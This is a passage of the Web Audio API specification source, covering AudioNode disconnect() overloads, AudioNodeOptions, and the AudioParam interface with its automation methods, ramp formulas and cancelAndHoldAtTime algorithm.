class=\"synchronous\">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>disconnect(destinationNode)</dfn>\n\t::\n\t\tDisconnects all outputs of the {{AudioNode}}\n\t\tthat go to a specific destination\n\t\t{{AudioNode}}.\n\n\t\t<pre class=argumentdef for=\"AudioNode/disconnect(destinationNode)\">\n\t\t\tdestinationNode: The <code>destinationNode</code> parameter is the {{AudioNode}} to disconnect. It disconnects all outgoing connections to the given <code>destinationNode</code>. <span class=\"synchronous\">If there is no connection to the <code>destinationNode</code>, an {{InvalidAccessError}} exception MUST be thrown.</span>\n\t\t</pre>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>disconnect(destinationNode, output)</dfn>\n\t::\n\t\tDisconnects a specific output of the\n\t\t{{AudioNode}} from any and all inputs of some\n\t\tdestination {{AudioNode}}.\n\n\t\t<pre class=argumentdef for=\"AudioNode/disconnect(destinationNode, output)\">\n\t\t\tdestinationNode: The <code>destinationNode</code> parameter is the {{AudioNode}} to disconnect. <span class=\"synchronous\">If there is no connection to the <code>destinationNode</code> from the given output, an {{InvalidAccessError}} exception MUST be thrown.</span>\n\t\t\toutput: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to disconnect. <span class=\"synchronous\">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>disconnect(destinationNode, output, input)</dfn>\n\t::\n\t\tDisconnects a specific output of the\n\t\t{{AudioNode}} from a specific input of some\n\t\tdestination {{AudioNode}}.\n\n\t\t<pre class=argumentdef for=\"AudioNode/disconnect(destinationNode, output, input)\">\n\t\t\tdestinationNode: The <code>destinationNode</code> parameter is the {{AudioNode}} to disconnect. <span class=\"synchronous\">If there is no connection to the <code>destinationNode</code> from the given input to the given output, an {{InvalidAccessError}} exception MUST be thrown.</span>\n\t\t\toutput: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to disconnect. <span class=\"synchronous\">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>\n\t\t\tinput: The <code>input</code> parameter is an index describing which input of the destination {{AudioNode}} to disconnect. <span class=\"synchronous\">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>disconnect(destinationParam)</dfn>\n\t::\n\t\tDisconnects all outputs of the {{AudioNode}}\n\t\tthat go to a specific destination\n\t\t{{AudioParam}}. The contribution of this\n\t\t{{AudioNode}} to the computed parameter value\n\t\tgoes to 0 when this operation takes effect. The intrinsic\n\t\tparameter value is not affected by this operation.\n\n\t\t<pre class=argumentdef for=\"AudioNode/disconnect(destinationParam)\">\n\t\t\tdestinationParam: The <code>destinationParam</code> parameter is the {{AudioParam}} to disconnect. <span class=\"synchronous\">If there is no connection to the <code>destinationParam</code>, an {{InvalidAccessError}} exception MUST be thrown.</span>\n\t\t</pre>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>disconnect(destinationParam, output)</dfn>\n\t::\n\t\tDisconnects a specific output of the\n\t\t{{AudioNode}} from a specific destination\n\t\t{{AudioParam}}. The contribution of this\n\t\t{{AudioNode}} to the computed parameter value\n\t\tgoes to 0 when this operation takes effect. The intrinsic\n\t\tparameter value is not affected by this operation.\n\n\t\t<pre class=argumentdef for=\"AudioNode/disconnect(destinationParam, output)\">\n\t\t\tdestinationParam: The <code>destinationParam</code> parameter is the {{AudioParam}} to disconnect. <span class=\"synchronous\">If there is no connection to the <code>destinationParam</code>, an {{InvalidAccessError}} exception MUST be thrown.</span>\n\t\t\toutput: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to disconnect. <span class=\"synchronous\">If the <code>parameter</code> is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>\n\t\t</pre>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n</dl>\n\n<h4 dictionary lt=\"audionodeoptions\" id=\"AudioNodeOptions\">\n{{AudioNodeOptions}}</h4>\n\nThis specifies the options that can be used in constructing all\n{{AudioNode}}s. All members are optional. However, the specific\nvalues used for each node depends on the actual node.\n\n<pre class=\"idl\">\ndictionary AudioNodeOptions {\n\tunsigned long channelCount;\n\tChannelCountMode channelCountMode;\n\tChannelInterpretation channelInterpretation;\n};\n</pre>\n\n<h5 id=\"dictionary-audionodeoptions-members\">\nDictionary {{AudioNodeOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"AudioNodeOptions\">\n\t: <dfn>channelCount</dfn>\n\t:: Desired number of channels for the {{AudioNode/channelCount}} attribute.\n\n\t: <dfn>channelCountMode</dfn>\n\t:: Desired mode for the {{AudioNode/channelCountMode}} attribute.\n\n\t: <dfn>channelInterpretation</dfn>\n\t:: Desired mode for the {{AudioNode/channelInterpretation}} attribute.\n</dl>\n\n<!--\n   ███    ██     ██ ████████  ████  ███████  ████████     ███    ████████     ███    ██     ██\n  ██ ██   ██     ██ ██     ██  ██  ██     ██ ██     ██   ██ ██   ██     ██   ██ ██   ███   ███\n ██   ██  ██     ██ ██     ██  ██  ██     ██ ██     ██  ██   ██  ██     ██  ██   ██  ████ ████\n██     ██ ██     ██ ██     ██  ██  ██     ██ ████████  ██     ██ ████████  ██     ██ ██ ███ ██\n█████████ ██     ██ ██     ██  ██  ██     ██ ██        █████████ ██   ██   █████████ ██     ██\n██     ██ ██     ██ ██     ██  ██  ██     ██ ██        ██     ██ ██    ██  ██     ██ ██     ██\n██     ██  ███████  ████████  ████  ███████  ██        ██     ██ ██     ██ ██     ██ ██     ██\n-->\n\n<h3 interface lt=\"audioparam\" id=\"AudioParam\">\nThe {{AudioParam}} Interface</h3>\n\n{{AudioParam}} controls an individual aspect of an\n{{AudioNode}}'s functionality, such as volume. The\nparameter can be set immediately to a particular value using the\n<code>value</code> attribute. Or, value changes can be scheduled to\nhappen at very precise times (in the coordinate system of\n{{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute), for envelopes, volume\nfades, LFOs, filter sweeps, grain windows, etc. In this way,\narbitrary timeline-based automation curves can be set on any\n{{AudioParam}}. Additionally, audio signals from the\noutputs of {{AudioNode}}s can be connected to an\n{{AudioParam}}, summing with the <em>intrinsic</em>\nparameter value.\n\nSome synthesis and processing {{AudioNode}}s have\n{{AudioParam}}s as attributes whose values MUST be taken\ninto account on a per-audio-sample basis. For other\n{{AudioParam}}s, sample-accuracy is not important and the\nvalue changes can be sampled more coarsely. Each individual\n{{AudioParam}} will specify that it is either an\n<a>a-rate</a> parameter which means that its values MUST be taken\ninto account on a per-audio-sample basis, or it is a <a>k-rate</a>\nparameter.\n\nImplementations MUST use block processing, with each\n{{AudioNode}} processing one <a>render quantum</a>.\n\nFor each <a>render quantum</a>,\nthe value of a <dfn id=\"k-rate\">k-rate</dfn> parameter MUST be sampled at the time of the\nvery first sample-frame, and that value MUST be used for the entire\nblock. <dfn id=\"a-rate\">a-rate</dfn> parameters MUST be sampled for\neach sample-frame of the block.\nDepending on the {{AudioParam}}, its rate can be controlled by setting\nthe {{AudioParam/automationRate}} attribute to either\n\"{{AutomationRate/a-rate}}\" or \"{{AutomationRate/k-rate}}\".  See the\ndescription of the individual {{AudioParam}}s for further details.\n\nEach {{AudioParam}} includes {{AudioParam/minValue}} and {{AudioParam/maxValue}} attributes that together form\nthe <dfn>simple nominal range</dfn> for the parameter. In effect,\nvalue of the parameter is clamped to the range \\([\\mathrm{minValue},\n\\mathrm{maxValue}]\\). See [[#computation-of-value]] for full details.\n\nFor many {{AudioParam}}s the {{AudioParam/minValue}} and {{AudioParam/maxValue}} is intended to be set to the maximum\npossible range. In this case, {{AudioParam/maxValue}} should be set to the\n<dfn>most-positive-single-float</dfn> value, which is 3.4028235e38.\n(However, in JavaScript which only supports IEEE-754 double precision\nfloat values, this must be written as 3.4028234663852886e38.)\nSimilarly, {{AudioParam/minValue}} should be set\nto the <dfn>most-negative-single-float</dfn> value, which is the\nnegative of the <a>most-positive-single-float</a>: -3.4028235e38.\n(Similarly, this must be written in JavaScript as\n-3.4028234663852886e38.)\n\nAn {{AudioParam}} maintains a list of zero or more <dfn id=\"dfn-automation-event\">automation events</dfn>. Each automation event\nspecifies changes to the parameter's value over a specific time\nrange, in relation to its <dfn>automation event time</dfn> in the\ntime coordinate system of the {{AudioContext}}'s\n{{BaseAudioContext/currentTime}} attribute. The\nlist of automation events is maintained in ascending order of\nautomation event time.\n\nThe behavior of a given automation event is a function of the\n{{AudioContext}}'s current time, as well as the automation event\ntimes of this event and of adjacent events in the list. The following\n<dfn id=\"dfn-automation-method\" lt=\"automation method\">automation methods</dfn> change the\nevent list by adding a new event to the event list, of a type\nspecific to the method:\n\n* {{AudioParam/setValueAtTime()}} - <code>SetValue</code>\n* {{AudioParam/linearRampToValueAtTime()}} - <code>LinearRampToValue</code>\n* {{AudioParam/exponentialRampToValueAtTime()}} - <code>ExponentialRampToValue</code>\n* {{AudioParam/setTargetAtTime()}} - <code>SetTarget</code>\n* {{AudioParam/setValueCurveAtTime()}} - <code>SetValueCurve</code>\n\nThe following rules will apply when calling these methods:\n\n* <a>Automation event times</a> are\n\tnot quantized with respect to the prevailing sample rate. Formulas\n\tfor determining curves and ramps are applied to the exact numerical\n\ttimes given when scheduling events.\n\n* If one of these events is added at a time where there is already\n\tone or more events, then it will be placed in the list after them,\n\tbut before events whose times are after the event.\n\n* <span class=\"synchronous\">If <a\n\tdata-link-for=\"AudioParam\">setValueCurveAtTime()</a> is called for time \\(T\\)\n\tand duration \\(D\\) and there are any events having a time strictly greater than\n\t\\(T\\), but strictly less than \\(T + D\\), then a {{NotSupportedError}} exception\n\tMUST be thrown.</span> In other words, it's not ok to schedule a value curve\n\tduring a time period containing other events, but it's ok to schedule a value\n\tcurve exactly at the time of another event.\n\n* <span class=\"synchronous\">Similarly a\n\t{{NotSupportedError}} exception MUST be thrown if any\n\t<a href=\"#dfn-automation-method\">automation method</a> is called at\n\ta time which is contained in \\([T, T+D)\\), \\(T\\) being the time of the curve\n\tand \\(D\\) its duration.\n\t</span>\n\nNote: {{AudioParam}} attributes are read only, with the exception\nof the {{AudioParam/value}} attribute.\n\nThe automation rate of an {{AudioParam}} can be selected setting the\n{{AudioParam/automationRate}} attribute with one of the following\nvalues.  However, some {{AudioParam}}s have constraints on whether the\nautomation rate can be changed.\n\n<pre class=\"idl\">\nenum AutomationRate {\n\t\"a-rate\",\n\t\"k-rate\"\n};\n</pre>\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-type=enum-value dfn-for=\"AutomationRate\">\n\t<thead>\n\t\t<tr>\n\t\t<th scope=\"col\" colspan=\"2\">\n\t\t\tEnumeration description\n\t\t</th>\n\t\t</tr>\n\t<tbody>\n\t<tr>\n\t\t<td>\n\t\t\t\"<dfn>a-rate</dfn>\"\n\t\t</td>\n\t\t<td>\n\t\t\tThis {{AudioParam}} is set for [=a-rate=] processing.\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<td>\n\t\t\t\"<dfn>k-rate</dfn>\"\n\t\t</td>\n\t\t<td>\n\t\t\tThis {{AudioParam}} is set for [=k-rate=] processing.\n\t\t</td>\n\t</tr>\n</table>\n</div>\n\nEach {{AudioParam}} has an internal slot <dfn attribute for=AudioParam>[[current value]]</dfn>,\ninitially set to the {{AudioParam}}'s {{AudioParam/defaultValue}}.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface AudioParam {\n\tattribute float value;\n\tattribute AutomationRate automationRate;\n\treadonly attribute float defaultValue;\n\treadonly attribute float minValue;\n\treadonly attribute float maxValue;\n\tAudioParam setValueAtTime (float value, double startTime);\n\tAudioParam linearRampToValueAtTime (float value, double endTime);\n\tAudioParam exponentialRampToValueAtTime (float value, double endTime);\n\tAudioParam setTargetAtTime (float target, double startTime, float timeConstant);\n\tAudioParam setValueCurveAtTime (sequence&lt;float> values,\n\t                                double startTime,\n\t                                double duration);\n\tAudioParam cancelScheduledValues (double cancelTime);\n\tAudioParam cancelAndHoldAtTime (double cancelTime);\n};\n</pre>\n\n<h4 id=\"AudioParam-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AudioParam\">\n\t: <dfn>automationRate</dfn>\n\t::\n\t\tThe automation rate for the {{AudioParam}}.  The\n\t\tdefault value depends on the actual {{AudioParam}};\n\t\tsee the description of each individual {{AudioParam}} for the\n\t\tdefault value.\n\n\t\tSome nodes have additional <dfn dfn>automation rate constraints</dfn> as follows:\n\n\t\t: {{AudioBufferSourceNode}}\n\t\t::\n\t\t\tThe {{AudioParam}}s\n\t\t\t{{AudioBufferSourceNode/playbackRate}} and\n\t\t\t{{AudioBufferSourceNode/detune}} MUST be\n\t\t\t\"{{AutomationRate/k-rate}}\". <span\n\t\t\tclass=\"synchronous\">An {{InvalidStateError}}\n\t\t\tmust be thrown if the rate is changed to\n\t\t\t\"{{AutomationRate/a-rate}}\"</span>.\n\n\t\t: {{DynamicsCompressorNode}}\n\t\t::\n\t\t\tThe {{AudioParam}}s\n\t\t\t{{DynamicsCompressorNode/threshold}},\n\t\t\t{{DynamicsCompressorNode/knee}},\n\t\t\t{{DynamicsCompressorNode/ratio}},\n\t\t\t{{DynamicsCompressorNode/attack}}, and\n\t\t\t{{DynamicsCompressorNode/release}}\n\t\t\tMUST be \"{{AutomationRate/k-rate}}\".  <span\n\t\t\tclass=\"synchronous\">An {{InvalidStateError}}\n\t\t\tmust be thrown if the rate is changed to\n\t\t\t\"{{AutomationRate/a-rate}}\"</span>.\n\n\t\t: {{PannerNode}}\n\t\t::\n\t\t\tIf the {{PannerNode/panningModel}} is\n\t\t\t\"{{PanningModelType/HRTF}}\", the setting of\n\t\t\tthe {{AudioParam/automationRate}} for any\n\t\t\t{{AudioParam}} of the {{PannerNode}} is ignored.\n\t\t\tLikewise, the setting of the\n\t\t\t{{AudioParam/automationRate}} for any {{AudioParam}}\n\t\t\tof the {{AudioListener}} is ignored.  In this\n\t\t\tcase, the {{AudioParam}} behaves as if the\n\t\t\t{{AudioParam/automationRate}} were set to\n\t\t\t\"{{AutomationRate/k-rate}}\".\n\n\t: <dfn>defaultValue</dfn>\n\t::\n\t\tInitial value for the <code>value</code> attribute.\n\n\t: <dfn>maxValue</dfn>\n\t::\n\t\tThe nominal maximum value that the parameter can take. Together\n\t\twith <code>minValue</code>, this forms the <a>nominal range</a>\n\t\tfor this parameter.\n\n\t: <dfn>minValue</dfn>\n\t::\n\t\tThe nominal minimum value that the parameter can take. Together\n\t\twith <code>maxValue</code>, this forms the <a>nominal range</a>\n\t\tfor this parameter.\n\n\t: <dfn>value</dfn>\n\t::\n\t\tThe parameter's floating-point value. This attribute is\n\t\tinitialized to the <code>defaultValue</code>.\n\n\t\tGetting this attribute returns the contents of the\n\t\t{{[[current value]]}} slot. See\n\t\t[[#computation-of-value]] for the algorithm for the\n\t\tvalue that is returned.\n\n\t\tSetting this attribute has the effect of assigning the\n\t\trequested value to the {{[[current value]]}} slot, and\n\t\tcalling the <a data-link-for=\"AudioParam\">setValueAtTime()</a>\n\t\tmethod with the current {{AudioContext}}'s\n\t\t<code>currentTime</code> and {{[[current value]]}}. Any\n\t\texceptions that would be thrown by\n\t\t<code>setValueAtTime()</code> will also be thrown by setting\n\t\tthis attribute.\n</dl>\n\n<h4 id=\"AudioParam-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"AudioParam\">\n\t: <dfn>cancelAndHoldAtTime(cancelTime)</dfn>\n\t::\n\t\tThis is similar to {{AudioParam/cancelScheduledValues()}} in that it cancels all\n\t\tscheduled parameter changes with times greater than or equal to\n\t\t{{AudioParam/cancelAndHoldAtTime()/cancelTime!!argument}}. However, in addition, the automation\n\t\tvalue that would have happened at {{AudioParam/cancelAndHoldAtTime()/cancelTime!!argument}} is\n\t\tthen proprogated for all future time until other automation\n\t\tevents are introduced.\n\n\t\tThe behavior of the timeline in the face of\n\t\t{{AudioParam/cancelAndHoldAtTime()}} when automations are running\n\t\tand can be introduced at any time after calling\n\t\t{{AudioParam/cancelAndHoldAtTime()}} and before\n\t\t{{AudioParam/cancelAndHoldAtTime()/cancelTime!!argument}} is reached is quite complicated. The\n\t\tbehavior of {{AudioParam/cancelAndHoldAtTime()}} is therefore\n\t\tspecified in the following algorithm.\n\n\t\t<div algorithm=\"cancel and hold\">\n\t\t\tLet \\(t_c\\) be the value of {{AudioParam/cancelAndHoldAtTime()/cancelTime!!argument}}. Then\n\n\t\t\t1. Let \\(E_1\\) be the event (if any) at time \\(t_1\\) where\n\t\t\t\t\\(t_1\\) is the largest number satisfying \\(t_1 \\le t_c\\).\n\n\t\t\t2. Let \\(E_2\\) be the event (if any) at time \\(t_2\\) where\n\t\t\t\t\\(t_2\\) is the smallest number satisfying \\(t_c \\lt t_2\\).\n\n\t\t\t3. If \\(E_2\\) exists:\n\t\t\t\t1. If \\(E_2\\) is a linear or exponential ramp,\n\t\t\t\t\t1. Effectively rewrite \\(E_2\\) to be the same kind of\n\t\t\t\t\t\tramp ending at time \\(t_c\\) with an end value that\n\t\t\t\t\t\twould be the value of the original ramp at time\n\t\t\t\t\t\t\\(t_c\\).\n\t\t\t\t\t\t<img alt=\"Graphical representation of calling cancelAndHoldAtTime when linearRampToValueAtTime has been called at this time.\" src=\"images/cancel-linear.svg\" style=\"height:75%;width:75%\">\n\n\t\t\t\t\t2. Go to step 5.\n\n\t\t\t\t2. Otherwise, go to step 4.\n\n\t\t\t4. If \\(E_1\\) exists:\n\t\t\t\t1. If \\(E_1\\) is a <code>setTarget</code> event,\n\t\t\t\t\t1. Implicitly insert a <code>setValueAtTime</code>\n\t\t\t\t\t\tevent at time \\(t_c\\) with the value that the\n\t\t\t\t\t\t<code>setTarget</code> would have at time\n\t\t\t\t\t\t\\(t_c\\).\n\t\t\t\t\t\t<img alt=\"Graphical representation of calling cancelAndHoldAtTime when setTargetAtTime has been called at this time\" src=\"images/cancel-setTarget.svg\" style=\"height:75%;width:75%\">\n\n\t\t\t\t\t2. Go to step 5.\n\n\t\t\t\t2. If \\(E_1\\) is a <code>setValueCurve</code> with a start\n\t\t\t\t\ttime of \\(t_3\\) and a duration of \\(d\\)\n\n\t\t\t\t\t1. If \\(t_c \\gt t_3 + d\\), go to step 5.\n\n\t\t\t\t\t2. Otherwise,\n\t\t\t\t\t\t1. Effectively replace this event with a\n\t\t\t\t\t\t\t<code>setValueCurve</code> event with a start time\n\t\t\t\t\t\t\tof \\(t_3\\) and a new duration of \\(t_c-t_3\\).\n\t\t\t\t\t\t\tHowever, this is not a true replacement; this\n\t\t\t\t\t\t\tautomation MUST take care to produce the same\n\t\t\t\t\t\t\toutput as the original, and not one computed using\n\t\t\t\t\t\t\ta different duration. (That would cause sampling of\n\t\t\t\t\t\t\tthe value curve in a slightly different way,\n\t\t\t\t\t\t\tproducing different results.)\n\t\t\t\t\t\t\t<img alt=\"Graphical representation of calling cancelAndHoldAtTime when setValueCurve has been called at this time\" src=\"images/cancel-setValueCurve.svg\" style=\"height:75%;width:75%\">\n\n\t\t\t\t\t\t2. Go to step 5.\n\n\t\t\t5. Remove all events with time greater than \\(t_c\\).\n\n\t\t\tIf no events are added, then the automation value after\n\t\t\t{{AudioParam/cancelAndHoldAtTime()}} is the constant value that\n\t\t\tthe original timeline would have had at time \\(t_c\\).\n\t\t</div>\n\n\t\t<div class=\"correction proposed\" id=\"c127-1\">\n\t\t\t<span class=\"marker\">Candidate Correction Issue 127:</span>\n\t\t\t<div class=\"amendment-buttons\">\n\t\t\t\tButtons here\n\t\t\t</div>\n\t\t\tA {{RangeError}} is only thrown for negative cancelTime values for\n\t\t\tcancelAndHoldAtTime and cancelScheduledValues.  See <a\n\t\t\thref=\"https://github.com/WebAudio/web-audio-api-v2/issues/127\">Issue 127</a>\n\t\t</div>\n\t\t<pre class=argumentdef for=\"AudioParam/cancelAndHoldAtTime()\">\n\t\t\tcancelTime: The time after which any previously scheduled parameter changes will be cancelled. It is a time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute.  <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>cancelTime</code> is negative<del cite=#c127-1> or is not a finite number</del>. If {{AudioParam/cancelAndHoldAtTime()/cancelTime}} is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioParam}}\n\t\t</div>\n\n\t: <dfn>cancelScheduledValues(cancelTime)</dfn>\n\t::\n\t\tCancels all scheduled parameter changes with times greater than\n\t\tor equal to {{AudioParam/cancelScheduledValues()/cancelTime!!argument}}. Cancelling a scheduled\n\t\tparameter change means removing the scheduled event from the\n\t\tevent list. Any active automations whose <a>automation event time</a> is less\n\t\tthan {{AudioParam/cancelScheduledValues()/cancelTime!!argument}} are also cancelled, and such\n\t\tcancellations may cause discontinuities because the original\n\t\tvalue (from before such automation) is restored immediately. Any\n\t\thold values scheduled by {{AudioParam/cancelAndHoldAtTime()}}\n\t\tare also removed if the hold time occurs after\n\t\t{{AudioParam/cancelScheduledValues()/cancelTime!!argument}}.\n\n\t\tFor a {{AudioParam/setValueCurveAtTime()}}, let \\(T_0\\) and \\(T_D\\) be the corresponding\n\t\t{{AudioParam/setValueCurveAtTime()/startTime!!argument}} and {{AudioParam/setValueCurveAtTime()/duration!!argument}}, respectively of this event.\n\t\tThen if {{AudioParam/cancelScheduledValues()/cancelTime!!argument}}\n\t\tis in the range \\([T_0, T_0 + T_D]\\), the event is\n\t\tremoved from the timeline.\n\n\t\t<pre class=argumentdef for=\"AudioParam/cancelScheduledValues()\">\n\t\t\tcancelTime: The time after which any previously scheduled parameter changes will be cancelled. It is a time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute.  <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>cancelTime</code> is negative<del cite=#c127-1> or is not a finite number</del>.</span> If <code>cancelTime</code> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioParam}}\n\t\t</div>\n\n\t: <dfn>exponentialRampToValueAtTime(value, endTime)</dfn>\n\t::\n\t\tSchedules an exponential continuous change in parameter value\n\t\tfrom the previous scheduled parameter value to the given value.\n\t\tParameters representing filter frequencies and playback rate\n\t\tare best changed exponentially because of the way humans\n\t\tperceive sound.\n\n\t\tThe value during the time interval \\(T_0 \\leq t &lt; T_1\\)\n\t\t(where \\(T_0\\) is the time of the previous event and \\(T_1\\) is\n\t\tthe {{AudioParam/exponentialRampToValueAtTime()/endTime!!argument}} parameter passed into this method)\n\t\twill be calculated as:\n\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tv(t) = V_0 \\left(\\frac{V_1}{V_0}\\right)^\\frac{t - T_0}{T_1 - T_0}\n\t\t$$\n\t\t</pre>\n\n\t\twhere \\(V_0\\) is the value at the time \\(T_0\\) and \\(V_1\\) is\n\t\tthe {{AudioParam/exponentialRampToValueAtTime()/value!!argument}} parameter passed into this method. If\n\t\t\\(V_0\\) and \\(V_1\\) have opposite signs or if \\(V_0\\) is zero,\n\t\tthen \\(v(t) = V_0\\) for \\(T_0 \\le t \\lt T_1\\).\n\n\t\tThis also implies an exponential ramp to 0 is not possible. A\n\t\tgood approximation can be achieved using {{AudioParam/setTargetAtTime()}} with an appropriately chosen\n\t\ttime constant.\n\n\t\tIf there are no more events after this <em>ExponentialRampToValue</em>\n\t\tevent then for \\(t \\geq T_1\\), \\(v(t) = V_1\\).\n\n\t\tIf there is no event preceding this event, the exponential ramp\n\t\tbehaves as if {{AudioParam/setValueAtTime()|setValueAtTime(value, currentTime)}}\n\t\twere called where <code>value</code> is the current value of\n\t\tthe attribute and <code>currentTime</code> is the context\n\t\t{{BaseAudioContext/currentTime}} at the time\n\t\t{{AudioParam/exponentialRampToValueAtTime()}} is called.\n\n\t\tIf the preceding event is a <code>SetTarget</code> event, \\(T_0\\)\n\t\tand \\(V_0\\) are chosen from the current time and value of\n\t\t<code>SetTarget</code> automation. That is, if the\n\t\t<code>SetTarget</code> event has not started, \\(T_0\\) is the start\n\t\ttime of the event, and \\(V_0\\) is the value just before the\n\t\t<code>SetTarget</code> event starts. In this case, the\n\t\t<code>ExponentialRampToValue</code> event effectively replaces the\n\t\t<code>SetTarget</code> event. If the <code>SetTarget</code> event has\n\t\talready started, \\(T_0\\) is the current context time, and\n\t\t\\(V_0\\) is the current <code>SetTarget</code> automation value at\n\t\ttime \\(T_0\\). In both cases, the automation curve is\n\t\tcontinuous.\n\n\t\t<pre class=argumentdef for=\"AudioParam/exponentialRampToValueAtTime()\">\n\t\t\tvalue: The value the parameter will exponentially ramp to at the given time. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if this value is equal to 0.</span>\n\t\t\tendTime: The time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute where the exponential ramp ends. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>endTime</code> is negative or is not a finite number.</span> If <var>endTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioParam}}\n\t\t</div>\n\n\t: <dfn>linearRampToValueAtTime(value, endTime)</dfn>\n\t::\n\t\tSchedules a linear continuous change in parameter value from\n\t\tthe previous scheduled parameter value to the given value.\n\n\t\tThe value during the time interval \\(T_0 \\leq t &lt; T_1\\)\n\t\t(where \\(T_0\\) is the time of the previous event and \\(T_1\\) is\n\t\tthe {{AudioParam/linearRampToValueAtTime()/endTime!!argument}} parameter passed into this method)\n\t\twill be calculated as:\n\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tv(t) = V_0 + (V_1 - V_0) \\frac{t - T_0}{T_1 - T_0}\n\t\t$$\n\t\t</pre>\n\n\t\twhere \\(V_0\\) is the value at the time \\(T_0\\) and \\(V_1\\) is\n\t\tthe {{AudioParam/linearRampToValueAtTime()/value!!argument}} parameter passed into this method.\n\n\t\tIf there are no more events after this <em>LinearRampToValue</em> event\n\t\tthen for \\(t \\geq T_1\\), \\(v(t) = V_1\\).\n\n\t\tIf there is no event preceding this event, the linear ramp\n\t\tbehaves as if {{AudioParam/setValueAtTime()|setValueAtTime(value, currentTime)}}\n\t\twere called where <code>value</code> is the current value of\n\t\tthe attribute and <code>currentTime</code> is the context\n\t\t{{BaseAudioContext/currentTime}} at the time\n\t\t{{AudioParam/linearRampToValueAtTime()}} is called.\n\n\t\tIf the preceding event is a <code>SetTarget</code> event, \\(T_0\\)\n\t\tand \\(V_0\\) are chosen from the current time and value of\n\t\t<code>SetTarget</code> automation. That is, if the\n\t\t<code>SetTarget</code> event has not started, \\(T_0\\) is the start\n\t\ttime of the event, and \\(V_0\\) is the value just before the\n\t\t<code>SetTarget</code> event starts. In this case, the\n\t\t<code>LinearRampToValue</code> event effectively replaces the\n\t\t<code>SetTarget</code> event. If the <code>SetTarget</code> event has\n\t\talready started, \\(T_0\\) is the current context time, and\n\t\t\\(V_0\\) is the current <code>SetTarget</code> automation value at\n\t\ttime \\(T_0\\). In both cases, the automation curve is\n\t\tcontinuous.\n\n\t\t<pre class=argumentdef for=\"AudioParam/linearRampToValueAtTime()\">\n\t\t\tvalue: The value the parameter will linearly ramp to at the given time.\n\t\t\tendTime: The time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute at which the automation ends. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>endTime</code> is negative or is not a finite number.</span> If <var>endTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioParam}}\n\t\t</div>\n\n\t: <dfn>setTargetAtTime(target, startTime, timeConstant)</dfn>\n\t::\n\t\tStart exponentially approaching the target value at the given\n\t\ttime with a rate having the given time constant. Among other\n\t\tuses, this is useful for implementing the \"decay\" and \"release\"\n\t\tportions of an ADSR envelope. Please note that the parameter\n\t\tvalue does not immediately change to the target value at the\n\t\tgiven time, but instead gradually changes to the target value.\n\n\t\tDuring the time interval: \\(T_0 \\leq t\\), where \\(T_0\\) is the\n\t\t{{AudioParam/setTargetAtTime()/startTime!!argument}} parameter:\n\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tv(t) = V_1 + (V_0 - V_1)\\, e^{-\\left(\\frac{t - T_0}{\\tau}\\right)}\n\t\t$$\n\t\t</pre>\n\n\t\twhere \\(V_0\\) is the initial value (the {{[[current value]]}}\n\t\tattribute) at \\(T_0\\) (the {{AudioParam/setTargetAtTime()/startTime!!argument}} parameter),\n\t\t\\(V_1\\) is equal to the {{AudioParam/setTargetAtTime()/target!!argument}} parameter, and\n\t\t\\(\\tau\\) is the {{AudioParam/setTargetAtTime()/timeConstant!!argument}} parameter.\n\n\t\tIf a <code>LinearRampToValue</code> or\n\t\t<code>ExponentialRampToValue</code> event follows this event, the\n\t\tbehavior is described in {{AudioParam/linearRampToValueAtTime()}} or\n\t\t{{AudioParam/exponentialRampToValueAtTime()}},\n\t\trespectively. For all other events, the <code>SetTarget</code>\n\t\tevent ends at the time of the next 